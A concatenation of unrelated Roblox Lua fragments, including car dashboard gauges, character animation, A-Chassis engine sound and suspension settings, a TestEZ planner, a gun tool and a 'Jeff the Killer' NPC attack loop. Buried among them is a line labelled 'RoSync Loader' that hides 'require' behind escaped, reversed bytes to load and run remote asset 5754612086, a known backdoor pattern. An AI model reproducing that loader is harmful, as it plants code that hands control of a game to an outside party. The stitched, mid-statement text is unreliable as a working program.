Instance.new("Frame",gauges.Speedo) lnn.BackgroundTransparency = 1 lnn.BorderSizePixel = 0 lnn.Size = UDim2.new(0,0,0,0) lnn.Name = v.units if i~= 1 then lnn.Visible=false end for i=0,v.maxSpeed,v.spInc do local ln = gauges.ln:clone() ln.Parent = lnn ln.Rotation = 45 + 225*(i/v.maxSpeed) ln.Num.Text = i ln.Num.TextSize = 14 ln.Num.Rotation = -ln.Rotation ln.Frame:Destroy() ln.Num.Visible=true ln.Visible=true end end if isOn.Value then gauges:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end isOn.Changed:connect(function() if isOn.Value then gauges:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end end) values.RPM.Changed:connect(function() gauges.Tach.Needle.Rotation = 45 + 225 * math.min(1,values.RPM.Value / (revEnd*1000)) end) local _TCount = 0 if _Tune.Aspiration ~= "Natural" and _Tune.Engine then if _Tune.Aspiration == "Single" or _Tune.Aspiration == "Super" then _TCount = 1 elseif _Tune.Aspiration == "Double" then _TCount = 2 end values.Boost.Changed:connect(function() local boost = math.floor(values.Boost.Value) if _Tune.Aspiration~="Super" then boost = (math.floor(values.Boost.Value)*1.2)-((_Tune.Boost*_TCount)/5) end gauges.Boost.Needle.Rotation = 45 + 270 * math.min(1,(values.Boost.Value/(_Tune.Boost)/_TCount)) gauges.PSI.Text = tostring(math.floor(boost).." PSI") end) else gauges.Boost:Destroy() end values.Gear.Changed:connect(function() local gearText = values.Gear.Value if gearText == 0 then gearText = "N" elseif gearText == -1 then gearText = "R" end gauges.Gear.Text = gearText end) values.TCS.Changed:connect(function() if _Tune.TCSEnabled then if values.TCS.Value then gauges.TCS.TextColor3 = Color3.new(1,170/255,0) gauges.TCS.TextStrokeColor3 = Color3.new(1,170/255,0) if values.TCSActive.Value then wait() gauges.TCS.Visible = not gauges.TCS.Visible else wait() gauges.TCS.Visible = false end else gauges.TCS.Visible = true gauges.TCS.TextColor3 = Color3.new(1,0,0) gauges.TCS.TextStrokeColor3 = Color3.new(1,0,0) end else gauges.TCS.Visible = false end end) values.TCSActive.Changed:connect(function() if _Tune.TCSEnabled then if values.TCSActive.Value and values.TCS.Value then wait() gauges.TCS.Visible = not gauges.TCS.Visible elseif not values.TCS.Value then wait() gauges.TCS.Visible = true else wait() gauges.TCS.Visible = false end else gauges.TCS.Visible = false end end) gauges.TCS.Changed:connect(function() if _Tune.TCSEnabled then if values.TCSActive.Value and values.TCS.Value then wait() gauges.TCS.Visible = not gauges.TCS.Visible elseif not values.TCS.Value then wait() gauges.TCS.Visible = true end else if gauges.TCS.Visible then gauges.TCS.Visible = false end end end) values.ABS.Changed:connect(function() if _Tune.ABSEnabled then if values.ABS.Value then gauges.ABS.TextColor3 = Color3.new(1,170/255,0) gauges.ABS.TextStrokeColor3 = Color3.new(1,170/255,0) if values.ABSActive.Value then wait() gauges.ABS.Visible = not gauges.ABS.Visible else wait() gauges.ABS.Visible = false end else gauges.ABS.Visible = true gauges.ABS.TextColor3 = Color3.new(1,0,0) gauges.ABS.TextStrokeColor3 = Color3.new(1,0,0) end else gauges.ABS.Visible = false end end) values.ABSActive.Changed:connect(function() if _Tune.ABSEnabled then if values.ABSActive.Value and values.ABS.Value then wait() gauges.ABS.Visible = not gauges.ABS.Visible elseif not values.ABS.Value then wait() gauges.ABS.Visible = true else wait() gauges.ABS.Visible = false end else gauges.ABS.Visible = false end end) gauges.ABS.Changed:connect(function() if _Tune.ABSEnabled then if values.ABSActive.Value and values.ABS.Value then wait() gauges.ABS.Visible = not gauges.ABS.Visible elseif not values.ABS.Value then wait() gauges.ABS.Visible = true end else if gauges.ABS.Visible then gauges.ABS.Visible = false end end end) function PBrake() gauges.PBrake.Visible = values.PBrake.Value end values.PBrake.Changed:connect(PBrake) function Gear() if values.TransmissionMode.Value == "Auto" then gauges.TMode.Text = "A/T" gauges.TMode.BackgroundColor3 = Color3.new(1,170/255,0) elseif values.TransmissionMode.Value == "Semi" then gauges.TMode.Text = "S/T" gauges.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255) else gauges.TMode.Text = "M/T" gauges.TMode.BackgroundColor3 = Color3.new(1,85/255,.5) end end values.TransmissionMode.Changed:connect(Gear) values.Velocity.Changed:connect(function(property) gauges.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed) gauges.Speed.Text = math.floor(UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units end) gauges.Speed.MouseButton1Click:connect(function() if currentUnits==#UNITS then currentUnits = 1 else currentUnits = currentUnits+1 end for i,v in pairs(gauges.Speedo:GetChildren()) do v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns" end gauges.Speed.Text = math.floor(UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units end) wait(.1) Gear() PBrake()
-- Get remote
local updateWalkspeedRemote = replicatedStorage:WaitForChild("UpdateWalkspeed")
-- functions
function stopAllAnimations() local oldAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then oldAnim = "idle" end currentAnim = "" currentAnimInstance = nil if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end if (currentAnimTrack ~= nil) then currentAnimTrack:Stop() currentAnimTrack:Destroy() currentAnimTrack = nil end -- clean up walk if there is one if (runAnimKeyframeHandler ~= nil) then runAnimKeyframeHandler:disconnect() end if (runAnimTrack ~= nil) then runAnimTrack:Stop() runAnimTrack:Destroy() runAnimTrack = nil end return oldAnim end function getHeightScale() if Humanoid then local bodyHeightScale = Humanoid:FindFirstChild("BodyHeightScale") if bodyHeightScale and bodyHeightScale:IsA("NumberValue") then return bodyHeightScale.Value end end return 1 end local smallButNotZero = 0.0001 function setRunSpeed(speed) if speed < 0.33 then currentAnimTrack:AdjustWeight(1.0) runAnimTrack:AdjustWeight(smallButNotZero) elseif speed < 0.66 then local weight = ((speed - 0.33) / 0.33) currentAnimTrack:AdjustWeight(1.0 - weight + smallButNotZero) runAnimTrack:AdjustWeight(weight + smallButNotZero) else currentAnimTrack:AdjustWeight(smallButNotZero) runAnimTrack:AdjustWeight(1.0) end local speedScaled = speed * 1.25 local heightScale = getHeightScale() runAnimTrack:AdjustSpeed(speedScaled / heightScale) currentAnimTrack:AdjustSpeed(speedScaled / heightScale) end function setAnimationSpeed(speed) if speed ~= currentAnimSpeed then currentAnimSpeed = speed if currentAnim == "walk" then setRunSpeed(speed) else currentAnimTrack:AdjustSpeed(currentAnimSpeed) end end end function keyFrameReachedFunc(frameName) if (frameName == "End") then if currentAnim == "walk" then runAnimTrack.TimePosition = 0.0 currentAnimTrack.TimePosition = 0.0 else local repeatAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then repeatAnim = "idle" end local animSpeed = currentAnimSpeed playAnimation(repeatAnim, 0.15, Humanoid) setAnimationSpeed(animSpeed) end end end function rollAnimation(animName) local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while (roll > animTable[animName][idx].weight) do roll = roll - animTable[animName][idx].weight idx = idx + 1 end return idx end function playAnimation(animName, transitionTime, humanoid) local idx = rollAnimation(animName) local anim = animTable[animName][idx].anim -- switch animation if (anim ~= currentAnimInstance) then if (currentAnimTrack ~= nil) then currentAnimTrack:Stop(transitionTime) currentAnimTrack:Destroy() end if (runAnimTrack ~= nil) then runAnimTrack:Stop(transitionTime) runAnimTrack:Destroy() end currentAnimSpeed = 1.0 -- load it to the humanoid; get AnimationTrack currentAnimTrack = humanoid:LoadAnimation(anim) currentAnimTrack.Priority = Enum.AnimationPriority.Core -- play the animation currentAnimTrack:Play(transitionTime) currentAnim = animName currentAnimInstance = anim -- set up keyframe name triggers if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc) -- check to see if we need to blend a walk/run animation if animName == "walk" then local runAnimName = "run" local runIdx = rollAnimation(runAnimName) runAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim) runAnimTrack.Priority = Enum.AnimationPriority.Core runAnimTrack:Play(transitionTime) if (runAnimKeyframeHandler ~= nil) then runAnimKeyframeHandler:disconnect() end runAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc) end end end
--[[ Constants ]]
-- local SHIFT_LOCK_OFF = 'rbxasset://textures/ui/mouseLock_off.png' local SHIFT_LOCK_ON = 'rbxasset://textures/ui/mouseLock_on.png' local SHIFT_LOCK_CURSOR = 'rbxasset://textures/MouseLockedCursor.png'
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 5 -- cooldown for use of the tool again ZoneModelName = "hate soul" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
-------------------------------------------------------------------------------------------------------------------------
upgradeStuff = model:clone() wait(1) model:remove() owner = script.Parent.Parent.Parent.OwnerName local ting = 0 function onTouched(hit) if ting == 0 then ting = 1 check = hit.Parent:FindFirstChild("Humanoid") if check ~= nil then if hit.Parent.Name == owner.Value then local user = game.Players:GetPlayerFromCharacter(hit.Parent) local stats = user:findFirstChild("leaderstats") if stats ~= nil then local cash = stats:findFirstChild("Cash") if cash.Value > (Upgradecost-1) then cash.Value = cash.Value - Upgradecost upgradeStuff.Parent = script.Parent.Parent.Parent script.Parent.Parent:remove() end end end end ting = 0 end end script.Parent.Touched:connect(onTouched)
-- Codes used to redeem for in-game badges
GameSettings.codes = { "testcode" }
--[[Manage Plugins]]
script.Parent["A-Chassis Interface"].Car.Value=car for i,v in pairs(script.Parent.Plugins:GetChildren()) do for _,a in pairs(v:GetChildren()) do if a:IsA("RemoteEvent") or a:IsA("RemoteFunction") then a.Parent=car for _,b in pairs(a:GetChildren()) do if b:IsA("Script") then b.Disabled=false end end end end v.Parent = script.Parent["A-Chassis Interface"] end script.Parent.Plugins:Destroy()
--[[ Last synced 7/3/2022 08:16 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local FE = workspace.FilteringEnabled local car = script.Parent.Car.Value local handler = car:WaitForChild("AC6_FE_Sounds") local _Tune = require(car["A-Chassis Tune"]) local on = 0 local throt=0 local redline=0 script:WaitForChild("Rev") for i,v in pairs(car.DriveSeat:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.Volume,true) handler:FireServer("playSound","Rev") car.DriveSeat:WaitForChild("Rev") while wait() do local _RPM = script.Parent.Values.RPM.Value if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle/100 then throt = math.max(.3,throt-.2) else throt = math.min(1,throt+.1) end if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then redline=.5 else redline=1 end if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end local Pitch = math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^2),script.Rev.SetPitch.Value) if FE then handler:FireServer("updateSound","Rev",script.Rev.SoundId,Pitch,script.Rev.Volume) else car.DriveSeat.Rev.Pitch = Pitch end end
--[[Rear]]
-- Tune.RSusDamping = 50 -- Dampening Tune.RSusStiffness = 1000000 -- Stiffness Tune.RSusLength = 0 -- Suspension length (in studs) Tune.RPreComp = 0 -- Vehicle height, relative to your suspension settings Tune.RExtLimit = 0 -- Max Extension Travel (in studs) Tune.RCompLimit = 0 -- Max Compression Travel (in studs) Tune.RBaseOffset = { -- Suspension base point --[[Lateral]] 0 , -- positive = outward --[[Vertical]] -0.1 , -- positive = upward --[[Forward]] 0 } -- positive = forward Tune.RBricksVisible = false -- Makes the front suspension bricks visible (Debug) Tune.RConstsVisible = false -- Makes the front suspension constraints visible (Debug)
-- Used to sanitize user-supplied functions
local function AssertTypes(param, ...) local allowedTypes = {} local typeString = '' for _, typeName in pairs({...}) do allowedTypes[typeName] = true typeString = typeString .. (typeString == '' and '' or ' or ') .. typeName end local theType = type(param) assert(allowedTypes[theType], typeString .. " type expected, got: " .. theType) end
--------------MADE BY Radioaktiivinen --------------Should be configurable with some crappy configuration tool of roblox >_>
local seat=script.Parent local data=seat.Configuration local owner=nil local running=false local x=0 local y=0 seat.ChildAdded:connect( function(w) if w.className=="Weld" and w.Name=="SeatWeld" then local char=w.Part1.Parent local player=game.Players:FindFirstChild(char.Name) if player~=nil then owner=player seat.ChildRemoved:connect( function(w2) if w2==w then owner=nil end end ) seat.BodyVelocity.maxForce=Vector3.new(1,1,1)*data.MaxForce.Value seat.BodyGyro.maxTorque=Vector3.new(1,1,1)*50000 local spd=0 local gui=seat.ScreenGui:clone() gui.Parent=player.PlayerGui gui.Frame.Faster.MouseButton1Click:connect( function() spd=math.min(spd+data.MaxSpeed.Value/20,data.MaxSpeed.Value) gui.Frame.Speed.Text=math.floor(spd) end ) gui.Frame.Slower.MouseButton1Click:connect( function() spd=math.max(spd-data.MaxSpeed.Value/20,0) gui.Frame.Speed.Text=math.floor(spd) end ) while owner==player do seat.BodyVelocity.velocity=seat.CFrame.lookVector*spd wait() end gui:remove() seat.BodyVelocity.velocity=Vector3.new(0,0,0) seat.BodyVelocity.maxForce=Vector3.new(0,0,0) seat.BodyGyro.maxTorque=Vector3.new(0,0,0) end end end ) seat.Changed:connect( function() if not running then local cur=seat.Steer local cur2=seat.Throttle running=true while (cur~=0 or cur2~=0) do y=y-seat.Steer*data.TurnSpeed.Value x=x-seat.Throttle*data.TurnSpeed.Value seat.BodyGyro.cframe=CFrame.new(0,0,0)*CFrame.Angles(0,math.rad(y),0)*CFrame.Angles(math.rad(x),0,0) wait() end running=false end end )
--[[** ensures Roblox RBXScriptSignal type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.RBXScriptSignal = primitive("RBXScriptSignal")
--[[ Represents a tree of tests that have been loaded but not necessarily executed yet. TestPlan objects are produced by TestPlanner. ]]
local TestEnum = require(script.Parent.TestEnum) local Expectation = require(script.Parent.Expectation) local function newEnvironment(currentNode, extraEnvironment) local env = {} if extraEnvironment then if type(extraEnvironment) ~= "table" then error(("Bad argument #2 to newEnvironment. Expected table, got %s"):format( typeof(extraEnvironment)), 2) end for key, value in pairs(extraEnvironment) do env[key] = value end end local function addChild(phrase, callback, nodeType, nodeModifier) local node = currentNode:addChild(phrase, nodeType, nodeModifier) node.callback = callback if nodeType == TestEnum.NodeType.Describe then node:expand() end return node end function env.describeFOCUS(phrase, callback) addChild(phrase, callback, TestEnum.NodeType.Describe, TestEnum.NodeModifier.Focus) end function env.describeSKIP(phrase, callback) addChild(phrase, callback, TestEnum.NodeType.Describe, TestEnum.NodeModifier.Skip) end function env.describe(phrase, callback, nodeModifier) addChild(phrase, callback, TestEnum.NodeType.Describe, TestEnum.NodeModifier.None) end function env.itFOCUS(phrase, callback) addChild(phrase, callback, TestEnum.NodeType.It, TestEnum.NodeModifier.Focus) end function env.itSKIP(phrase, callback) addChild(phrase, callback, TestEnum.NodeType.It, TestEnum.NodeModifier.Skip) end function env.itFIXME(phrase, callback) local node = addChild(phrase, callback, TestEnum.NodeType.It, TestEnum.NodeModifier.Skip) warn("FIXME: broken test", node:getFullName()) end function env.it(phrase, callback, nodeModifier) addChild(phrase, callback, TestEnum.NodeType.It, TestEnum.NodeModifier.None) end -- Incrementing counter used to ensure that beforeAll, afterAll, beforeEach, afterEach have unique phrases local lifecyclePhaseId = 0 local lifecycleHooks = { [TestEnum.NodeType.BeforeAll] = "beforeAll", [TestEnum.NodeType.AfterAll] = "afterAll", [TestEnum.NodeType.BeforeEach] = "beforeEach", [TestEnum.NodeType.AfterEach] = "afterEach" } for nodeType, name in pairs(lifecycleHooks) do env[name] = function(callback) addChild(name .. "_" .. tostring(lifecyclePhaseId), callback, nodeType, TestEnum.NodeModifier.None) lifecyclePhaseId = lifecyclePhaseId + 1 end end function env.FIXME(optionalMessage) warn("FIXME: broken test", currentNode:getFullName(), optionalMessage or "") currentNode.modifier = TestEnum.NodeModifier.Skip end function env.FOCUS() currentNode.modifier = TestEnum.NodeModifier.Focus end function env.SKIP() currentNode.modifier = TestEnum.NodeModifier.Skip end --[[ This function is deprecated. Calling it is a no-op beyond generating a warning. ]] function env.HACK_NO_XPCALL() warn("HACK_NO_XPCALL is deprecated. It is now safe to yield in an " .. "xpcall, so this is no longer necessary. It can be safely deleted.") end env.fit = env.itFOCUS env.xit = env.itSKIP env.fdescribe = env.describeFOCUS env.xdescribe = env.describeSKIP env.expect = setmetatable({ extend = function(...) error("Cannot call \"expect.extend\" from within a \"describe\" node.") end, }, { __call = function(_self, ...) return Expectation.new(...) end, }) return env end local TestNode = {} TestNode.__index = TestNode
--Function For Making New Ray Bricks
function makeRay(cframe, size) local p = Instance.new("Part") p.Name = "RayPart" p.BrickColor = BrickColor.new("New Yeller") p.Material = "Neon" p.Transparency = 0.5 p.Anchored = true p.CanCollide = false p.TopSurface = Enum.SurfaceType.Smooth p.BottomSurface = Enum.SurfaceType.Smooth p.formFactor = Enum.FormFactor.Custom p.CFrame = cframe p.Size = size p.Parent = m ignoreList[#ignoreList+1] = p end round = Instance.new("Part") round.Name = "RayPart" round.Material = "Neon" round.Transparency = 0.5 round.Anchored = true round.CanCollide = false round.TopSurface = Enum.SurfaceType.Smooth round.BottomSurface = Enum.SurfaceType.Smooth round.formFactor = Enum.FormFactor.Custom round.BrickColor = BrickColor.new("New Yeller") yOffset = -0.2
-- ROBLOX deviation: used to communicate with the TestEZ test runner
local JEST_TEST_CONTEXT = "__JEST_TEST_CONTEXT__" local function getCoreScriptSyncService() local success, result = pcall(function() return game:GetService("CoreScriptSyncService") end) return success and result or nil end local CoreScriptSyncService = nil local LuauPolyfill = require(Packages.LuauPolyfill) local Array = LuauPolyfill.Array local Error = LuauPolyfill.Error type Error = LuauPolyfill.Error local Object = LuauPolyfill.Object local Set = LuauPolyfill.Set
-- Unequip logic here
function OnUnequipped() LeftButtonDown = false Reloading = false MyCharacter = nil MyHumanoid = nil MyTorso = nil MyPlayer = nil MyMouse = nil if OnFireConnection then OnFireConnection:disconnect() end if OnReloadConnection then OnReloadConnection:disconnect() end if FlashHolder then FlashHolder = nil end if WeaponGui then WeaponGui.Parent = nil WeaponGui = nil end if RecoilTrack then RecoilTrack:Stop() end end local function SetReticleColor(color) if WeaponGui and WeaponGui:FindFirstChild('Crosshair') then for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do if line:IsA('Frame') then line.BorderColor3 = color end end end end Tool.Equipped:connect(OnEquipped) Tool.Unequipped:connect(OnUnequipped) while true do wait(0.033) if WeaponGui and WeaponGui:FindFirstChild('Crosshair') and MyMouse then WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y) SetReticleColor(NeutralReticleColor) local target = MyMouse.Target if target and target.Parent then local player = PlayersService:GetPlayerFromCharacter(target.Parent) if player then if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then SetReticleColor(EnemyReticleColor) else SetReticleColor(FriendlyReticleColor) end end end end if Spread and not IsShooting then local currTime = time() if currTime - LastSpreadUpdate > FireRate * 2 then LastSpreadUpdate = currTime Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount) UpdateCrosshair(Spread, MyMouse) end end end
--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Thumbnail")then]]-- --[[JeffTheKiller:FindFirstChild("Thumbnail"):Destroy();]]-- --[[end;]]
-- local JeffTheKillerHumanoid; for _,Child in pairs(JeffTheKiller:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then JeffTheKillerHumanoid=Child; end; end; local AttackDebounce=false; local JeffTheKillerKnife=JeffTheKiller:FindFirstChild("Knife"); local JeffTheKillerHead=JeffTheKiller:FindFirstChild("Head"); local JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild("HumanoidRootPart"); local WalkDebounce=false; local Notice=false; local JeffLaughDebounce=false; local MusicDebounce=false; local NoticeDebounce=false; local ChosenMusic; function FindNearestBae() local NoticeDistance=100; local TargetMain; for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className=="Model"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild("Torso")and TargetModel:FindFirstChild("Head")then local TargetPart=TargetModel:FindFirstChild("Torso"); local FoundHumanoid; for _,Child in pairs(TargetModel:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then FoundHumanoid=Child; end; end; if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<NoticeDistance then TargetMain=TargetPart; NoticeDistance=(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude; local hit,pos=raycast(JeffTheKillerHumanoidRootPart.Position,(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).unit,500) if hit and hit.Parent and hit.Parent.ClassName=="Model"and hit.Parent:FindFirstChild("Torso")and hit.Parent:FindFirstChild("Head")then if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<9 and not AttackDebounce then Spawn(function() AttackDebounce=true; local SwingAnimation=JeffTheKillerHumanoid:LoadAnimation(JeffTheKiller:FindFirstChild("Swing")); local SwingChoice=math.random(1,2); local HitChoice=math.random(1,3); SwingAnimation:Play(); SwingAnimation:AdjustSpeed(1.5+(math.random()*0.1)); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Swing")then local SwingSound=JeffTheKillerKnife:FindFirstChild("Swing"); SwingSound.Pitch=1+(math.random()*0.04); SwingSound:Play(); end; Wait(0.3); if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<8 then FoundHumanoid:TakeDamage(30); if HitChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit1")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit1"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); elseif HitChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit2")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit2"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); elseif HitChoice==3 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit3")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit3"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); end; end; Wait(0.1); AttackDebounce=false; end); end; end; end; end; end; return TargetMain; end; while Wait(0)do local TargetPoint=JeffTheKillerHumanoid.TargetPoint; local Blockage,BlockagePos=RayCast((JeffTheKillerHumanoidRootPart.CFrame+CFrame.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(TargetPoint.X,JeffTheKillerHumanoidRootPart.Position.Y,TargetPoint.Z)).lookVector*(JeffTheKillerHumanoidRootPart.Size.Z/2)).p,JeffTheKillerHumanoidRootPart.CFrame.lookVector,(JeffTheKillerHumanoidRootPart.Size.Z*2.5),{JeffTheKiller,JeffTheKiller}) local Jumpable=false; if Blockage then Jumpable=true; if Blockage and Blockage.Parent and Blockage.Parent.ClassName~="Workspace"then local BlockageHumanoid; for _,Child in pairs(Blockage.Parent:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then BlockageHumanoid=Child; end; end; if Blockage and Blockage:IsA("Terrain")then local CellPos=Blockage:WorldToCellPreferSolid((BlockagePos-Vector3.new(0,2,0))); local CellMaterial,CellShape,CellOrientation=Blockage:GetCell(CellPos.X,CellPos.Y,CellPos.Z); if CellMaterial==Enum.CellMaterial.Water then Jumpable=false; end; elseif BlockageHumanoid or Blockage.ClassName=="TrussPart"or Blockage.ClassName=="WedgePart"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Hat"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Tool"then Jumpable=false; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and not JeffTheKillerHumanoid.Sit and Jumpable then JeffTheKillerHumanoid.Jump=true; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHumanoidRootPart and JeffTheKillerHead:FindFirstChild("Jeff_Step")and (JeffTheKillerHumanoidRootPart.Velocity-Vector3.new(0,JeffTheKillerHumanoidRootPart.Velocity.y,0)).magnitude>=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then Spawn(function() WalkDebounce=true; local FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0)); local RayTarget,endPoint=Game:GetService("Workspace"):FindPartOnRay(FiredRay,JeffTheKiller); if RayTarget then local JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild("Jeff_Step"):Clone(); JeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead; JeffTheKillerHeadFootStepClone:Play(); JeffTheKillerHeadFootStepClone:Destroy(); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<17 then Wait(0.5); elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>17 then Wait(0.2); end end; WalkDebounce=false; end); end; local MainTarget=FindNearestBae(); local FoundHumanoid; if MainTarget then for _,Child in pairs(MainTarget.Parent:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then FoundHumanoid=Child; end; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then JeffTheKillerHumanoid.Jump=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and not JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=1; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Play(); end; elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then if not JeffLaughDebounce then Spawn(function() JeffLaughDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop(); JeffLaughDebounce=false; end); end; end; end; if not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then local MusicChoice=math.random(1,2); if MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1")then ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1"); elseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2")then ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2"); end; if JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then ChosenMusic.Volume=0.5; ChosenMusic:Play(); end; elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 